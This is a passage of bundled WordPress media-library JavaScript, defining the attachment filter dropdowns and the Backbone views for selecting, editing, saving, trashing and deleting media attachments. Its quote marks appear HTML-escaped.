				priority: filter.priority || 50
			};
		}, this ).sortBy(&#039;priority&#039;).pluck(&#039;el&#039;).value() );

		this.listenTo( this.model, &#039;change&#039;, this.select );
		this.select();
	},

	/**
	 * @abstract
	 */
	createFilters: function() {
		this.filters = {};
	},

	/**
	 * When the selected filter changes, update the Attachment Query properties to match.
	 */
	change: function() {
		var filter = this.filters[ this.el.value ];
		if ( filter ) {
			this.model.set( filter.props );
		}
	},

	select: function() {
		var model = this.model,
			value = &#039;all&#039;,
			props = model.toJSON();

		_.find( this.filters, function( filter, id ) {
			var equal = _.all( filter.props, function( prop, key ) {
				return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] );
			});

			if ( equal ) {
				return value = id;
			}
		});

		this.$el.val( value );
	}
});

module.exports = AttachmentFilters;


/***/ },

/***/ 7349
(module) {

var l10n = wp.media.view.l10n,
	All;

/**
 * wp.media.view.AttachmentFilters.All
 *
 * @memberOf wp.media.view.AttachmentFilters
 *
 * @class
 * @augments wp.media.view.AttachmentFilters
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{
	createFilters: function() {
		var filters = {},
			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0;

		_.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) {
			filters[ key ] = {
				text: text,
				props: {
					status:  null,
					type:    key,
					uploadedTo: null,
					orderby: &#039;date&#039;,
					order:   &#039;DESC&#039;,
					author:  null
				}
			};
		});

		filters.all = {
			text:  l10n.allMediaItems,
			props: {
				status:  null,
				type:    null,
				uploadedTo: null,
				orderby: &#039;date&#039;,
				order:   &#039;DESC&#039;,
				author:  null
			},
			priority: 10
		};

		if ( wp.media.view.settings.post.id ) {
			filters.uploaded = {
				text:  l10n.uploadedToThisPost,
				props: {
					status:  null,
					type:    null,
					uploadedTo: wp.media.view.settings.post.id,
					orderby: &#039;menuOrder&#039;,
					order:   &#039;ASC&#039;,
					author:  null
				},
				priority: 20
			};
		}

		filters.unattached = {
			text:  l10n.unattached,
			props: {
				status:     null,
				uploadedTo: 0,
				type:       null,
				orderby:    &#039;menuOrder&#039;,
				order:      &#039;ASC&#039;,
				author:     null
			},
			priority: 50
		};

		if ( uid ) {
			filters.mine = {
				text:  l10n.mine,
				props: {
					status:		null,
					type:		null,
					uploadedTo:	null,
					orderby:	&#039;date&#039;,
					order:		&#039;DESC&#039;,
					author:		uid
				},
				priority: 50
			};
		}

		if ( wp.media.view.settings.mediaTrash &amp;&amp;
			this.controller.isModeActive( &#039;grid&#039; ) ) {

			filters.trash = {
				text:  l10n.trash,
				props: {
					uploadedTo: null,
					status:     &#039;trash&#039;,
					type:       null,
					orderby:    &#039;date&#039;,
					order:      &#039;DESC&#039;,
					author:     null
				},
				priority: 50
			};
		}

		this.filters = filters;
	}
});

module.exports = All;


/***/ },

/***/ 6472
(module) {

var l10n = wp.media.view.l10n,
	DateFilter;

/**
 * A filter dropdown for month/dates.
 *
 * @memberOf wp.media.view.AttachmentFilters
 *
 * @class
 * @augments wp.media.view.AttachmentFilters
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{
	id: &#039;media-attachment-date-filters&#039;,

	createFilters: function() {
		var filters = {};
		_.each( wp.media.view.settings.months || {}, function( value, index ) {
			filters[ index ] = {
				text: value.text,
				props: {
					year: value.year,
					monthnum: value.month
				}
			};
		});
		filters.all = {
			text:  l10n.allDates,
			props: {
				monthnum: false,
				year:  false
			},
			priority: 10
		};
		this.filters = filters;
	}
});

module.exports = DateFilter;


/***/ },

/***/ 1368
(module) {

var l10n = wp.media.view.l10n,
	Uploaded;

/**
 * wp.media.view.AttachmentFilters.Uploaded
 *
 * @memberOf wp.media.view.AttachmentFilters
 *
 * @class
 * @augments wp.media.view.AttachmentFilters
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{
	createFilters: function() {
		var type = this.model.get(&#039;type&#039;),
			types = wp.media.view.settings.mimeTypes,
			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0,
			text;

		if ( types &amp;&amp; type ) {
			text = types[ type ];
		}

		this.filters = {
			all: {
				text:  text || l10n.allMediaItems,
				props: {
					uploadedTo: null,
					orderby: &#039;date&#039;,
					order:   &#039;DESC&#039;,
					author:	 null
				},
				priority: 10
			},

			uploaded: {
				text:  l10n.uploadedToThisPost,
				props: {
					uploadedTo: wp.media.view.settings.post.id,
					orderby: &#039;menuOrder&#039;,
					order:   &#039;ASC&#039;,
					author:	 null
				},
				priority: 20
			},

			unattached: {
				text:  l10n.unattached,
				props: {
					uploadedTo: 0,
					orderby: &#039;menuOrder&#039;,
					order:   &#039;ASC&#039;,
					author:	 null
				},
				priority: 50
			}
		};

		if ( uid ) {
			this.filters.mine = {
				text:  l10n.mine,
				props: {
					orderby: &#039;date&#039;,
					order:   &#039;DESC&#039;,
					author:  uid
				},
				priority: 50
			};
		}
	}
});

module.exports = Uploaded;


/***/ },

/***/ 4075
(module) {

var View = wp.media.View,
	$ = jQuery,
	Attachment;

/**
 * wp.media.view.Attachment
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{
	tagName:   &#039;li&#039;,
	className: &#039;attachment&#039;,
	template:  wp.template(&#039;attachment&#039;),

	attributes: function() {
		return {
			&#039;tabIndex&#039;:     0,
			&#039;role&#039;:         &#039;checkbox&#039;,
			&#039;aria-label&#039;:   this.model.get( &#039;title&#039; ) || wp.i18n.__( &#039;uploading…&#039; ),
			&#039;aria-checked&#039;: false,
			&#039;data-id&#039;:      this.model.get( &#039;id&#039; )
		};
	},

	events: {
		&#039;click&#039;:                          &#039;toggleSelectionHandler&#039;,
		&#039;change [data-setting]&#039;:          &#039;updateSetting&#039;,
		&#039;change [data-setting] input&#039;:    &#039;updateSetting&#039;,
		&#039;change [data-setting] select&#039;:   &#039;updateSetting&#039;,
		&#039;change [data-setting] textarea&#039;: &#039;updateSetting&#039;,
		&#039;click .attachment-close&#039;:        &#039;removeFromLibrary&#039;,
		&#039;click .check&#039;:                   &#039;checkClickHandler&#039;,
		&#039;keydown&#039;:                        &#039;toggleSelectionHandler&#039;
	},

	buttons: {},

	initialize: function() {
		var selection = this.options.selection,
			options = _.defaults( this.options, {
				rerenderOnModelChange: true
			} );

		if ( options.rerenderOnModelChange ) {
			this.listenTo( this.model, &#039;change&#039;, this.render );
		} else {
			this.listenTo( this.model, &#039;change:percent&#039;, this.progress );
		}
		this.listenTo( this.model, &#039;change:title&#039;, this._syncTitle );
		this.listenTo( this.model, &#039;change:caption&#039;, this._syncCaption );
		this.listenTo( this.model, &#039;change:artist&#039;, this._syncArtist );
		this.listenTo( this.model, &#039;change:album&#039;, this._syncAlbum );

		// Update the selection.
		this.listenTo( this.model, &#039;add&#039;, this.select );
		this.listenTo( this.model, &#039;remove&#039;, this.deselect );
		if ( selection ) {
			selection.on( &#039;reset&#039;, this.updateSelect, this );
			// Update the model&#039;s details view.
			this.listenTo( this.model, &#039;selection:single selection:unsingle&#039;, this.details );
			this.details( this.model, this.controller.state().get(&#039;selection&#039;) );
		}

		this.listenTo( this.controller.states, &#039;attachment:compat:waiting attachment:compat:ready&#039;, this.updateSave );
	},
	/**
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	dispose: function() {
		var selection = this.options.selection;

		// Make sure all settings are saved before removing the view.
		this.updateAll();

		if ( selection ) {
			selection.off( null, null, this );
		}
		/**
		 * call &#039;dispose&#039; directly on the parent class
		 */
		View.prototype.dispose.apply( this, arguments );
		return this;
	},
	/**
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	render: function() {
		var options = _.defaults( this.model.toJSON(), {
				orientation:   &#039;landscape&#039;,
				uploading:     false,
				type:          &#039;&#039;,
				subtype:       &#039;&#039;,
				icon:          &#039;&#039;,
				filename:      &#039;&#039;,
				caption:       &#039;&#039;,
				title:         &#039;&#039;,
				dateFormatted: &#039;&#039;,
				width:         &#039;&#039;,
				height:        &#039;&#039;,
				compat:        false,
				alt:           &#039;&#039;,
				description:   &#039;&#039;
			}, this.options );

		options.buttons  = this.buttons;
		options.describe = this.controller.state().get(&#039;describe&#039;);

		if ( &#039;image&#039; === options.type ) {
			options.size = this.imageSize();
		}

		options.can = {};
		if ( options.nonces ) {
			options.can.remove = !! options.nonces[&#039;delete&#039;];
			options.can.save = !! options.nonces.update;
		}

		if ( this.controller.state().get(&#039;allowLocalEdits&#039;) &amp;&amp; ! options.uploading ) {
			options.allowLocalEdits = true;
		}

		if ( options.uploading &amp;&amp; ! options.percent ) {
			options.percent = 0;
		}

		this.views.detach();
		this.$el.html( this.template( options ) );

		this.$el.toggleClass( &#039;uploading&#039;, options.uploading );

		if ( options.uploading ) {
			this.$bar = this.$(&#039;.media-progress-bar div&#039;);
		} else {
			delete this.$bar;
		}

		// Check if the model is selected.
		this.updateSelect();

		// Update the save status.
		this.updateSave();

		this.views.render();

		return this;
	},

	progress: function() {
		if ( this.$bar &amp;&amp; this.$bar.length ) {
			this.$bar.width( this.model.get(&#039;percent&#039;) + &#039;%&#039; );
		}
	},

	/**
	 * @param {Object} event
	 */
	toggleSelectionHandler: function( event ) {
		var method;

		// Don&#039;t do anything inside inputs and on the attachment check and remove buttons.
		if ( &#039;INPUT&#039; === event.target.nodeName || &#039;BUTTON&#039; === event.target.nodeName ) {
			return;
		}

		// Catch arrow events.
		if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
			this.controller.trigger( &#039;attachment:keydown:arrow&#039;, event );
			return;
		}

		// Catch enter and space events.
		if ( &#039;keydown&#039; === event.type &amp;&amp; 13 !== event.keyCode &amp;&amp; 32 !== event.keyCode ) {
			return;
		}

		event.preventDefault();

		// In the grid view, bubble up an edit:attachment event to the controller.
		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			if ( this.controller.isModeActive( &#039;edit&#039; ) ) {
				// Pass the current target to restore focus when closing.
				this.controller.trigger( &#039;edit:attachment&#039;, this.model, event.currentTarget );
				return;
			}

			if ( this.controller.isModeActive( &#039;select&#039; ) ) {
				method = &#039;toggle&#039;;
			}
		}

		if ( event.shiftKey ) {
			method = &#039;between&#039;;
		} else if ( event.ctrlKey || event.metaKey ) {
			method = &#039;toggle&#039;;
		}

		// Avoid toggles when the command or control key is pressed with the enter key to prevent deselecting the last selected attachment.
		if ( ( event.metaKey || event.ctrlKey ) &amp;&amp; ( 13 === event.keyCode || 10 === event.keyCode ) ) {
			return;
		}

		this.toggleSelection({
			method: method
		});

		this.controller.trigger( &#039;selection:toggle&#039; );
	},
	/**
	 * @param {Object} options
	 */
	toggleSelection: function( options ) {
		var collection = this.collection,
			selection = this.options.selection,
			model = this.model,
			method = options &amp;&amp; options.method,
			single, models, singleIndex, modelIndex;

		if ( ! selection ) {
			return;
		}

		single = selection.single();
		method = _.isUndefined( method ) ? selection.multiple : method;

		// If the `method` is set to `between`, select all models that
		// exist between the current and the selected model.
		if ( &#039;between&#039; === method &amp;&amp; single &amp;&amp; selection.multiple ) {
			// If the models are the same, short-circuit.
			if ( single === model ) {
				return;
			}

			singleIndex = collection.indexOf( single );
			modelIndex  = collection.indexOf( this.model );

			if ( singleIndex &lt; modelIndex ) {
				models = collection.models.slice( singleIndex, modelIndex + 1 );
			} else {
				models = collection.models.slice( modelIndex, singleIndex + 1 );
			}

			selection.add( models );
			selection.single( model );
			return;

		// If the `method` is set to `toggle`, just flip the selection
		// status, regardless of whether the model is the single model.
		} else if ( &#039;toggle&#039; === method ) {
			selection[ this.selected() ? &#039;remove&#039; : &#039;add&#039; ]( model );
			selection.single( model );
			return;
		} else if ( &#039;add&#039; === method ) {
			selection.add( model );
			selection.single( model );
			return;
		}

		// Fixes bug that loses focus when selecting a featured image.
		if ( ! method ) {
			method = &#039;add&#039;;
		}

		if ( method !== &#039;add&#039; ) {
			method = &#039;reset&#039;;
		}

		if ( this.selected() ) {
			/*
			 * If the model is the single model, remove it.
			 * If it is not the same as the single model,
			 * it now becomes the single model.
			 */
			selection[ single === model ? &#039;remove&#039; : &#039;single&#039; ]( model );
		} else {
			/*
			 * If the model is not selected, run the `method` on the
			 * selection. By default, we `reset` the selection, but the
			 * `method` can be set to `add` the model to the selection.
			 */
			selection[ method ]( model );
			selection.single( model );
		}
	},

	updateSelect: function() {
		this[ this.selected() ? &#039;select&#039; : &#039;deselect&#039; ]();
	},
	/**
	 * @return {unresolved|boolean}
	 */
	selected: function() {
		var selection = this.options.selection;
		if ( selection ) {
			return !! selection.get( this.model.cid );
		}
	},
	/**
	 * @param {Backbone.Model} model
	 * @param {Backbone.Collection} collection
	 */
	select: function( model, collection ) {
		var selection = this.options.selection,
			controller = this.controller;

		/*
		 * Check if a selection exists and if it&#039;s the collection provided.
		 * If they&#039;re not the same collection, bail; we&#039;re in another
		 * selection&#039;s event loop.
		 */
		if ( ! selection || ( collection &amp;&amp; collection !== selection ) ) {
			return;
		}

		// Bail if the model is already selected.
		if ( this.$el.hasClass( &#039;selected&#039; ) ) {
			return;
		}

		// Add &#039;selected&#039; class to model, set aria-checked to true.
		this.$el.addClass( &#039;selected&#039; ).attr( &#039;aria-checked&#039;, true );
		//  Make the checkbox tabable, except in media grid (bulk select mode).
		if ( ! ( controller.isModeActive( &#039;grid&#039; ) &amp;&amp; controller.isModeActive( &#039;select&#039; ) ) ) {
			this.$( &#039;.check&#039; ).attr( &#039;tabindex&#039;, &#039;0&#039; );
		}
	},
	/**
	 * @param {Backbone.Model} model
	 * @param {Backbone.Collection} collection
	 */
	deselect: function( model, collection ) {
		var selection = this.options.selection;

		/*
		 * Check if a selection exists and if it&#039;s the collection provided.
		 * If they&#039;re not the same collection, bail; we&#039;re in another
		 * selection&#039;s event loop.
		 */
		if ( ! selection || ( collection &amp;&amp; collection !== selection ) ) {
			return;
		}
		this.$el.removeClass( &#039;selected&#039; ).attr( &#039;aria-checked&#039;, false )
			.find( &#039;.check&#039; ).attr( &#039;tabindex&#039;, &#039;-1&#039; );
	},
	/**
	 * @param {Backbone.Model} model
	 * @param {Backbone.Collection} collection
	 */
	details: function( model, collection ) {
		var selection = this.options.selection,
			details;

		if ( selection !== collection ) {
			return;
		}

		details = selection.single();
		this.$el.toggleClass( &#039;details&#039;, details === this.model );
	},
	/**
	 * @param {string} size
	 * @return {Object}
	 */
	imageSize: function( size ) {
		var sizes = this.model.get(&#039;sizes&#039;), matched = false;

		size = size || &#039;medium&#039;;

		// Use the provided image size if possible.
		if ( sizes ) {
			if ( sizes[ size ] ) {
				matched = sizes[ size ];
			} else if ( sizes.large ) {
				matched = sizes.large;
			} else if ( sizes.thumbnail ) {
				matched = sizes.thumbnail;
			} else if ( sizes.full ) {
				matched = sizes.full;
			}

			if ( matched ) {
				return _.clone( matched );
			}
		}

		return {
			url:         this.model.get(&#039;url&#039;),
			width:       this.model.get(&#039;width&#039;),
			height:      this.model.get(&#039;height&#039;),
			orientation: this.model.get(&#039;orientation&#039;)
		};
	},
	/**
	 * @param {Object} event
	 */
	updateSetting: function( event ) {
		var $setting = $( event.target ).closest(&#039;[data-setting]&#039;),
			setting, value;

		if ( ! $setting.length ) {
			return;
		}

		setting = $setting.data(&#039;setting&#039;);
		value   = event.target.value;

		if ( this.model.get( setting ) !== value ) {
			this.save( setting, value );
		}
	},

	/**
	 * Pass all the arguments to the model&#039;s save method.
	 *
	 * Records the aggregate status of all save requests and updates the
	 * view&#039;s classes accordingly.
	 */
	save: function() {
		var view = this,
			save = this._save = this._save || { status: &#039;ready&#039; },
			request = this.model.save.apply( this.model, arguments ),
			requests = save.requests ? $.when( request, save.requests ) : request;

		// If we&#039;re waiting to remove &#039;Saved.&#039;, stop.
		if ( save.savedTimer ) {
			clearTimeout( save.savedTimer );
		}

		this.updateSave(&#039;waiting&#039;);
		save.requests = requests;
		requests.always( function() {
			// If we&#039;ve performed another request since this one, bail.
			if ( save.requests !== requests ) {
				return;
			}

			view.updateSave( requests.state() === &#039;resolved&#039; ? &#039;complete&#039; : &#039;error&#039; );
			save.savedTimer = setTimeout( function() {
				view.updateSave(&#039;ready&#039;);
				delete save.savedTimer;
			}, 2000 );
		});
	},
	/**
	 * @param {string} status
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	updateSave: function( status ) {
		var save = this._save = this._save || { status: &#039;ready&#039; };

		if ( status &amp;&amp; status !== save.status ) {
			this.$el.removeClass( &#039;save-&#039; + save.status );
			save.status = status;
		}

		this.$el.addClass( &#039;save-&#039; + save.status );
		return this;
	},

	updateAll: function() {
		var $settings = this.$(&#039;[data-setting]&#039;),
			model = this.model,
			changed;

		changed = _.chain( $settings ).map( function( el ) {
			var $input = $(&#039;input, textarea, select, [value]&#039;, el ),
				setting, value;

			if ( ! $input.length ) {
				return;
			}

			setting = $(el).data(&#039;setting&#039;);
			value = $input.val();

			// Record the value if it changed.
			if ( model.get( setting ) !== value ) {
				return [ setting, value ];
			}
		}).compact().object().value();

		if ( ! _.isEmpty( changed ) ) {
			model.save( changed );
		}
	},
	/**
	 * @param {Object} event
	 */
	removeFromLibrary: function( event ) {
		// Catch enter and space events.
		if ( &#039;keydown&#039; === event.type &amp;&amp; 13 !== event.keyCode &amp;&amp; 32 !== event.keyCode ) {
			return;
		}

		// Stop propagation so the model isn&#039;t selected.
		event.stopPropagation();

		this.collection.remove( this.model );
	},

	/**
	 * Add the model if it isn&#039;t in the selection, if it is in the selection,
	 * remove it.
	 *
	 * @param {[type]} event [description]
	 * @return {[type]} [description]
	 */
	checkClickHandler: function ( event ) {
		var selection = this.options.selection;
		if ( ! selection ) {
			return;
		}
		event.stopPropagation();
		if ( selection.where( { id: this.model.get( &#039;id&#039; ) } ).length ) {
			selection.remove( this.model );
			// Move focus back to the attachment tile (from the check).
			this.$el.focus();
		} else {
			selection.add( this.model );
		}

		// Trigger an action button update.
		this.controller.trigger( &#039;selection:toggle&#039; );
	}
});

// Ensure settings remain in sync between attachment views.
_.each({
	caption: &#039;_syncCaption&#039;,
	title:   &#039;_syncTitle&#039;,
	artist:  &#039;_syncArtist&#039;,
	album:   &#039;_syncAlbum&#039;
}, function( method, setting ) {
	/**
	 * @function _syncCaption
	 * @memberOf wp.media.view.Attachment
	 * @instance
	 *
	 * @param {Backbone.Model} model
	 * @param {string} value
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	/**
	 * @function _syncTitle
	 * @memberOf wp.media.view.Attachment
	 * @instance
	 *
	 * @param {Backbone.Model} model
	 * @param {string} value
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	/**
	 * @function _syncArtist
	 * @memberOf wp.media.view.Attachment
	 * @instance
	 *
	 * @param {Backbone.Model} model
	 * @param {string} value
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	/**
	 * @function _syncAlbum
	 * @memberOf wp.media.view.Attachment
	 * @instance
	 *
	 * @param {Backbone.Model} model
	 * @param {string} value
	 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
	 */
	Attachment.prototype[ method ] = function( model, value ) {
		var $setting = this.$(&#039;[data-setting=&quot;&#039; + setting + &#039;&quot;]&#039;);

		if ( ! $setting.length ) {
			return this;
		}

		/*
		 * If the updated value is in sync with the value in the DOM, there
		 * is no need to re-render. If we&#039;re currently editing the value,
		 * it will automatically be in sync, suppressing the re-render for
		 * the view we&#039;re editing, while updating any others.
		 */
		if ( value === $setting.find(&#039;input, textarea, select, [value]&#039;).val() ) {
			return this;
		}

		return this.render();
	};
});

module.exports = Attachment;


/***/ },

/***/ 6090
(module) {

/* global ClipboardJS */
var Attachment = wp.media.view.Attachment,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	Details,
	__ = wp.i18n.__;

Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;attachment-details&#039;,
	template:  wp.template(&#039;attachment-details&#039;),

	/*
	 * Reset all the attributes inherited from Attachment including role=checkbox,
	 * tabindex, etc., as they are inappropriate for this view. See #47458 and [30483] / #30390.
	 */
	attributes: {},

	events: {
		&#039;change [data-setting]&#039;:          &#039;updateSetting&#039;,
		&#039;change [data-setting] input&#039;:    &#039;updateSetting&#039;,
		&#039;change [data-setting] select&#039;:   &#039;updateSetting&#039;,
		&#039;change [data-setting] textarea&#039;: &#039;updateSetting&#039;,
		&#039;click .delete-attachment&#039;:       &#039;deleteAttachment&#039;,
		&#039;click .trash-attachment&#039;:        &#039;trashAttachment&#039;,
		&#039;click .untrash-attachment&#039;:      &#039;untrashAttachment&#039;,
		&#039;click .edit-attachment&#039;:         &#039;editAttachment&#039;,
		&#039;keydown&#039;:                        &#039;toggleSelectionHandler&#039;
	},

	/**
	 * Copies the attachment URL to the clipboard.
	 *
	 * @since 5.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	 copyAttachmentDetailsURLClipboard: function() {
		var clipboard = new ClipboardJS( &#039;.copy-attachment-url&#039; ),
			successTimeout;

		clipboard.on( &#039;success&#039;, function( event ) {
			var triggerElement = $( event.trigger ),
				successElement = $( &#039;.success&#039;, triggerElement.closest( &#039;.copy-to-clipboard-container&#039; ) );

			// Clear the selection and move focus back to the trigger.
			event.clearSelection();

			// Show success visual feedback.
			clearTimeout( successTimeout );
			successElement.removeClass( &#039;hidden&#039; );

			// Hide success visual feedback after 3 seconds since last success.
			successTimeout = setTimeout( function() {
				successElement.addClass( &#039;hidden&#039; );
			}, 3000 );

			// Handle success audible feedback.
			wp.a11y.speak( __( &#039;The file URL has been copied to your clipboard&#039; ) );
		} );
	 },

	/**
	 * Shows the details of an attachment.
	 *
	 * @since 3.5.0
	 *
	 * @constructs wp.media.view.Attachment.Details
	 * @augments wp.media.view.Attachment
	 *
	 * @return {void}
	 */
	initialize: function() {
		this.options = _.defaults( this.options, {
			rerenderOnModelChange: false
		});

		// Call &#039;initialize&#039; directly on the parent class.
		Attachment.prototype.initialize.apply( this, arguments );

		this.copyAttachmentDetailsURLClipboard();
	},

	/**
	 * Gets the focusable elements to move focus to.
	 *
	 * @since 5.3.0
	 */
	getFocusableElements: function() {
		var editedAttachment = $( &#039;li[data-id=&quot;&#039; + this.model.id + &#039;&quot;]&#039; );

		this.previousAttachment = editedAttachment.prev();
		this.nextAttachment = editedAttachment.next();
	},

	/**
	 * Moves focus to the previous or next attachment in the grid.
	 * Fallbacks to the upload button or media frame when there are no attachments.
	 *
	 * @since 5.3.0
	 */
	moveFocus: function() {
		if ( this.previousAttachment.length ) {
			this.previousAttachment.trigger( &#039;focus&#039; );
			return;
		}

		if ( this.nextAttachment.length ) {
			this.nextAttachment.trigger( &#039;focus&#039; );
			return;
		}

		// Fallback: move focus to the &quot;Select Files&quot; button in the media modal.
		if ( this.controller.uploader &amp;&amp; this.controller.uploader.$browser ) {
			this.controller.uploader.$browser.trigger( &#039;focus&#039; );
			return;
		}

		// Last fallback.
		this.moveFocusToLastFallback();
	},

	/**
	 * Moves focus to the media frame as last fallback.
	 *
	 * @since 5.3.0
	 */
	moveFocusToLastFallback: function() {
		// Last fallback: make the frame focusable and move focus to it.
		$( &#039;.media-frame&#039; )
			.attr( &#039;tabindex&#039;, &#039;-1&#039; )
			.trigger( &#039;focus&#039; );
	},

	/**
	 * Deletes an attachment.
	 *
	 * Deletes an attachment after asking for confirmation. After deletion,
	 * keeps focus in the modal.
	 *
	 * @since 3.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	deleteAttachment: function( event ) {
		event.preventDefault();

		this.getFocusableElements();

		if ( window.confirm( l10n.warnDelete ) ) {
			this.model.destroy( {
				wait: true,
				error: function() {
					window.alert( l10n.errorDeleting );
				}
			} );

			this.moveFocus();
		}
	},

	/**
	 * Sets the Trash state on an attachment, or destroys the model itself.
	 *
	 * If the mediaTrash setting is set to true, trashes the attachment.
	 * Otherwise, the model itself is destroyed.
	 *
	 * @since 3.9.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	trashAttachment: function( event ) {
		var library = this.controller.library,
			self = this;
		event.preventDefault();

		this.getFocusableElements();

		// When in the Media Library and the Media Trash is enabled.
		if ( wp.media.view.settings.mediaTrash &amp;&amp;
			&#039;edit-metadata&#039; === this.controller.content.mode() ) {

			this.model.set( &#039;status&#039;, &#039;trash&#039; );
			this.model.save().done( function() {
				library._requery( true );
				/*
				 * @todo We need to move focus back to the previous, next, or first
				 * attachment but the library gets re-queried and refreshed.
				 * Thus, the references to the previous attachments are lost.
				 * We need an alternate method.
				 */
				self.moveFocusToLastFallback();
			} );
		} else {
			this.model.destroy();
			this.moveFocus();
		}
	},

	/**
	 * Untrashes an attachment.
	 *
	 * @since 4.0.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	untrashAttachment: function( event ) {
		var library = this.controller.library;
		event.preventDefault();

		this.model.set( &#039;status&#039;, &#039;inherit&#039; );
		this.model.save().done( function() {
			library._requery( true );
		} );
	},

	/**
	 * Opens the edit page for a specific attachment.
	 *
	 * @since 3.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	editAttachment: function( event ) {
		var editState = this.controller.states.get( &#039;edit-image&#039; );
		if ( window.imageEdit &amp;&amp; editState ) {
			event.preventDefault();

			editState.set( &#039;image&#039;, this.model );
			this.controller.setState( &#039;edit-image&#039; );
		} else {
			this.$el.addClass(&#039;needs-refresh&#039;);
		}
	},

	/**
	 * Triggers an event on the controller when reverse tabbing (shift+tab).
	 *
	 * This event can be used to make sure to move the focus correctly.
	 *
	 * @since 4.0.0
	 *
	 * @fires wp.media.controller.MediaLibrary#attachment:details:shift-tab
	 * @fires wp.media.controller.MediaLibrary#attachment:keydown:arrow
	 *
	 * @param {KeyboardEvent} event A keyboard event.
	 *
	 * @return {boolean|void} Returns false or undefined.
	 */
	toggleSelectionHandler: function( event ) {
		if ( &#039;keydown&#039; === event.type &amp;&amp; 9 === event.keyCode &amp;&amp; event.shiftKey &amp;&amp; event.target === this.$( &#039;:tabbable&#039; ).get( 0 ) ) {
			this.controller.trigger( &#039;attachment:details:shift-tab&#039;, event );
			return false;
		}
	},

	render: function() {
		Attachment.prototype.render.apply( this, arguments );

		wp.media.mixin.removeAllPlayers();
		this.$( &#039;audio, video&#039; ).each( function (i, elem) {
			var el = wp.media.view.MediaDetails.prepareSrc( elem );
			new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings );
		} );
	}
});

module.exports = Details;


/***/ },

/***/ 5232
(module) {

/**
 * wp.media.view.Attachment.EditLibrary
 *
 * @memberOf wp.media.view.Attachment
 *
 * @class
 * @augments wp.media.view.Attachment
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{
	buttons: {
		close: true
	}
});

module.exports = EditLibrary;


/***/ },

/***/ 4593
(module) {

/**
 * wp.media.view.Attachment.EditSelection
 *
 * @memberOf wp.media.view.Attachment
 *
 * @class
 * @augments wp.media.view.Attachment.Selection
 * @augments wp.media.view.Attachment
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{
	buttons: {
		close: true
	}
});

module.exports = EditSelection;


/***/ },

/***/ 3443
(module) {

/**
 * wp.media.view.Attachment.Library
 *
 * @memberOf wp.media.view.Attachment
 *
 * @class
 * @augments wp.media.view.Attachment
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{
	buttons: {
		check: true
	}
});

module.exports = Library;


/***/ },

/***/ 3962
(module) {

/**
 * wp.media.view.Attachment.Selection
 *
 * @memberOf wp.media.view.Attachment
 *
 * @class
 * @augments wp.media.view.Attachment
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{
	className: &#039;attachment selection&#039;,

	// On click, just select the model, instead of removing the model from
	// the selection.
	toggleSelection: function() {
		this.options.selection.single( this.model );
	}
});

module.exports = Selection;


/***/ },

/***/ 8142
(module) {

var View = wp.media.View,
	$ = jQuery,
	Attachments,
	infiniteScrolling = wp.media.view.settings.infiniteScrolling;

Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{
	tagName:   &#039;ul&#039;,
	className: &#039;attachments&#039;,

	attributes: {
		tabIndex: -1
	},

	/**
	 * Represents the overview of attachments in the Media Library.
	 *
	 * The constructor binds events to the collection this view represents when
	 * adding or removing attachments or resetting the entire collection.
	 *
	 * @since 3.5.0
	 *
	 * @constructs
	 * @memberof wp.media.view
	 *
	 * @augments wp.media.View
	 *
	 * @listens collection:add
	 * @listens collection:remove
	 * @listens collection:reset
	 * @listens controller:library:selection:add
	 * @listens scrollElement:scroll
	 * @listens this:ready
	 * @listens controller:open
	 */
	initialize: function() {
		this.el.id = _.uniqueId(&#039;__attachments-view-&#039;);

		/**
		 * @since 5.8.0 Added the `infiniteScrolling` parameter.
		 *
